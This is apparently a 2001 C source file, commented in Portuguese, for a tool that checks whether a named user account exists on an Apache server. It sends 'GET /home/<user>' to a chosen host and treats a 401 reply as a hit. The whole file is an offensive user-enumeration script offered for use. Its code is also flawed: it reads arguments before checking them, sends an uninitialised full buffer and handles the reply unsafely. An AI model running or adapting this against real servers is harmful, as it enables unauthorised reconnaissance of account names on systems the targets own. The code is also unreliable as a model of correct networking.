/* ChecaUserinApache (c)oded by m4rc3l0 in 09/2001 *
 *						   *
 * Compile com: gcc -o cuinapache cuinapache.c     *
 * Uso: ./cuinapache <host> <porta> <usuario>      *
 * Exe: ./cuinapache localhost 80 m4rc3l0	   *
 *					           *
 * Agrdz: BashX, sinner, seed, decodi, roadhouse,  *
 * eSc2, m4st, hts, damita, mor_PH_eus, r0ot(brw), *
 * 	#dnh #esfinge #feanor @ BRASNET		   */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

#define MAX 1024
#define ERRO -1
#define VERDE "\033[32m\033[01m"
#define VERME "\033[0m\033[33m"
#define AZUL "\033[34m\033[01m"
#define NORMAL "\033[0m"

void logo ()
{
  printf ("%s:: %sChecaUserinApache (c)oded by m4rc3l0%s\n", VERDE, AZUL, NORMAL);
}

int main (int argc, char *argv[])
{
  int MySock, porta, nb;
  char enviar[MAX], receber[MAX], *host, *user;
  struct in_addr addr;
  struct sockaddr_in virtima;
  struct hostent *he;

  host = argv[1];
  porta = atoi (argv[2]);
  user = argv[3];

  logo ();

  if (argc != 4)
    {
      printf ("%s:: %sUse: %s <host> <porta> <user>%s\n", VERDE, AZUL, argv[0], NORMAL);
      printf ("%s:: %sExe: %s localhost 80 m4rc3l0%s\n", VERDE, AZUL, argv[0], NORMAL);
      exit (ERRO);
    }
    
  if ((he = gethostbyname (argv[1])) == NULL)
    {
     printf("%s:: %shost error%s\n", VERME, AZUL, NORMAL); 
     exit(ERRO);
    }

  MySock = socket (AF_INET, SOCK_STREAM, 0);
  bcopy (he->h_addr, (char *)&virtima.sin_addr, he->h_length);
  virtima.sin_family = AF_INET;
  virtima.sin_port = htons (porta);
  
  printf("%s:: %sTentando conectar em: %s:%d%s\n", VERDE, AZUL, host, porta, NORMAL);
  
  if (connect (MySock, (struct sockaddr *) &virtima, sizeof (virtima)) != 0)
    {
      printf("%s:: %sconnect error%s\n", VERME, AZUL, NORMAL);
      exit (ERRO);
    }
  
  else
    {
      sleep (2);
      printf("%s:: %sEnviando requisicao de: %s%s\n", VERDE, AZUL, user, NORMAL);

      sprintf (enviar, "GET /home/%s", user);
      if(send (MySock, enviar, sizeof(enviar), 0) < 0) {
        printf("%s:: %swrite error%s\n", VERME, AZUL, NORMAL);
	exit(ERRO);
      }

      else {
	recv(MySock, receber, sizeof(receber), 0);
	if(strstr(receber, "401")) {
	    printf("%s:: %sUsuario: %s achado%s\n", VERDE, AZUL, user, NORMAL);
	}
	else {
	    printf("%s:: %sUsuario: %s %sNAO %sachado%s\n", VERDE, AZUL, user, VERME, AZUL, NORMAL);
	    printf("%s:: %sou este apache nao e vulneravel%s\n", VERDE, AZUL, NORMAL);
	}
      }
     close (MySock);
    }
}